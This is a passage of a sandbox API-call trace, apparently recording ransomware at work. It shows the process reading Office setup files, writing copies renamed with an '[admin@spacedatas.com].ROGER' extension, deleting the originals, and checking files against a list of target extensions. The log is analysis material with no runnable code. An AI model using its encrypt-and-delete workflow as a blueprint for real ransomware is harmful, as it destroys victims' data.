nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.225] WriteFile (in: hFile=0x378, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.225] SetEndOfFile (hFile=0x378) returned 1 [0039.225] CloseHandle (hObject=0x378) returned 1 [0039.226] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.226] SetEndOfFile (hFile=0x35c) returned 1 [0039.227] CloseHandle (hObject=0x35c) returned 1 [0039.227] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.227] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0039.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.227] lstrlenW (lpString=".doc") returned 4 [0039.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString=".docx") returned 5 [0039.227] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.227] lstrlenW (lpString=".pdf") returned 4 [0039.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.227] lstrlenW (lpString=".xls") returned 4 [0039.228] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString=".xlsx") returned 5 [0039.228] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.228] lstrlenW (lpString=".ppt") returned 4 [0039.228] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.228] lstrlenW (lpString=".zip") returned 4 [0039.228] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.228] lstrlenW (lpString=".rar") returned 4 [0039.228] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString=".bz2") returned 4 [0039.228] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString=".7z") returned 3 [0039.228] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.228] lstrlenW (lpString=".dbf") returned 4 [0039.228] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.228] lstrlenW (lpString=".1cd") returned 4 [0039.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.228] lstrlenW (lpString=".jpg") returned 4 [0039.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.228] lstrlenW (lpString=".doc") returned 4 [0039.228] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString=".docx") returned 5 [0039.228] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.228] lstrlenW (lpString=".pdf") returned 4 [0039.228] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.228] lstrlenW (lpString=".xls") returned 4 [0039.228] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".xlsx") returned 5 [0039.229] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.229] lstrlenW (lpString=".ppt") returned 4 [0039.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.229] lstrlenW (lpString=".zip") returned 4 [0039.229] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.229] lstrlenW (lpString=".rar") returned 4 [0039.229] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".bz2") returned 4 [0039.229] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString=".7z") returned 3 [0039.229] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.229] lstrlenW (lpString=".dbf") returned 4 [0039.229] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.229] lstrlenW (lpString=".1cd") returned 4 [0039.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.229] lstrlenW (lpString=".jpg") returned 4 [0039.229] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.229] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0039.229] lstrlenW (lpString="Setup.xml") returned 9 [0039.229] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0040.532] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=9352) returned 1 [0040.532] CloseHandle (hObject=0x37c) returned 1 [0040.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0040.532] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.532] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0040.532] GetLastError () returned 0x0 [0040.532] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x2488, lpOverlapped=0x0) returned 1 [0040.695] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0040.696] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.696] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.696] SetEndOfFile (hFile=0x384) returned 1 [0040.696] CloseHandle (hObject=0x384) returned 1 [0040.697] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.697] SetEndOfFile (hFile=0x37c) returned 1 [0040.698] CloseHandle (hObject=0x37c) returned 1 [0040.698] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.698] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.698] lstrlenW (lpString=".doc") returned 4 [0040.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.698] lstrlenW (lpString=".docx") returned 5 [0040.698] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.698] lstrlenW (lpString=".pdf") returned 4 [0040.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.698] lstrlenW (lpString=".xls") returned 4 [0040.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.698] lstrlenW (lpString=".xlsx") returned 5 [0040.699] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.699] lstrlenW (lpString=".ppt") returned 4 [0040.699] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.699] lstrlenW (lpString=".zip") returned 4 [0040.699] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.699] lstrlenW (lpString=".rar") returned 4 [0040.699] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString=".bz2") returned 4 [0040.699] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString=".7z") returned 3 [0040.699] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.699] lstrlenW (lpString=".dbf") returned 4 [0040.699] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.699] lstrlenW (lpString=".1cd") returned 4 [0040.699] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.699] lstrlenW (lpString=".jpg") returned 4 [0040.699] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.699] lstrlenW (lpString=".doc") returned 4 [0040.699] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString=".docx") returned 5 [0040.699] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.699] lstrlenW (lpString=".pdf") returned 4 [0040.699] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString=".xls") returned 4 [0040.699] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.699] lstrlenW (lpString=".xlsx") returned 5 [0040.699] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.700] lstrlenW (lpString=".ppt") returned 4 [0040.700] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.700] lstrlenW (lpString=".zip") returned 4 [0040.700] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.700] lstrlenW (lpString=".rar") returned 4 [0040.700] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.700] lstrlenW (lpString=".bz2") returned 4 [0040.700] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.700] lstrlenW (lpString=".7z") returned 3 [0040.700] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.700] lstrlenW (lpString=".dbf") returned 4 [0040.700] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.700] lstrlenW (lpString=".1cd") returned 4 [0040.700] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.700] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.700] lstrlenW (lpString=".jpg") returned 4 [0040.700] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.700] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.700] lstrlenW (lpString="Setup.xml") returned 9 [0040.700] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0040.701] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=2624) returned 1 [0040.701] CloseHandle (hObject=0x37c) returned 1 [0040.701] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.701] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.701] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0040.701] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.701] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.701] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0040.701] GetLastError () returned 0x0 [0040.701] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xa40, lpOverlapped=0x0) returned 1 [0040.748] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0040.749] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.749] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.749] SetEndOfFile (hFile=0x384) returned 1 [0040.749] CloseHandle (hObject=0x384) returned 1 [0040.750] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.750] SetEndOfFile (hFile=0x37c) returned 1 [0040.751] CloseHandle (hObject=0x37c) returned 1 [0040.751] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.751] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.751] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.751] lstrlenW (lpString=".doc") returned 4 [0040.751] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.751] lstrlenW (lpString=".docx") returned 5 [0040.751] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.751] lstrlenW (lpString=".pdf") returned 4 [0040.751] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString=".xls") returned 4 [0040.752] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString=".xlsx") returned 5 [0040.752] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.752] lstrlenW (lpString=".ppt") returned 4 [0040.752] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.752] lstrlenW (lpString=".zip") returned 4 [0040.752] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.752] lstrlenW (lpString=".rar") returned 4 [0040.752] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString=".bz2") returned 4 [0040.752] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString=".7z") returned 3 [0040.752] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.752] lstrlenW (lpString=".dbf") returned 4 [0040.752] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.752] lstrlenW (lpString=".1cd") returned 4 [0040.752] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.752] lstrlenW (lpString=".jpg") returned 4 [0040.752] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.752] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.752] lstrlenW (lpString=".doc") returned 4 [0040.752] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.752] lstrlenW (lpString=".docx") returned 5 [0040.752] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.752] lstrlenW (lpString=".pdf") returned 4 [0040.753] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.753] lstrlenW (lpString=".xls") returned 4 [0040.753] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.753] lstrlenW (lpString=".xlsx") returned 5 [0040.753] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.753] lstrlenW (lpString=".ppt") returned 4 [0040.753] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.753] lstrlenW (lpString=".zip") returned 4 [0040.753] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.753] lstrlenW (lpString=".rar") returned 4 [0040.753] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.753] lstrlenW (lpString=".bz2") returned 4 [0040.753] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.753] lstrlenW (lpString=".7z") returned 3 [0040.753] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.753] lstrlenW (lpString=".dbf") returned 4 [0040.753] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.753] lstrlenW (lpString=".1cd") returned 4 [0040.753] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.753] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.753] lstrlenW (lpString=".jpg") returned 4 [0040.753] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.753] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.753] lstrlenW (lpString="Setup.xml") returned 9 [0040.753] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0040.871] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=31094) returned 1 [0040.871] CloseHandle (hObject=0x398) returned 1 [0040.871] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.872] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.872] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0040.872] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.872] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.872] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0040.872] GetLastError () returned 0x0 [0040.872] ReadFile (in: hFile=0x398, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x7976, lpOverlapped=0x0) returned 1 [0040.879] WriteFile (in: hFile=0x388, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0040.880] ReadFile (in: 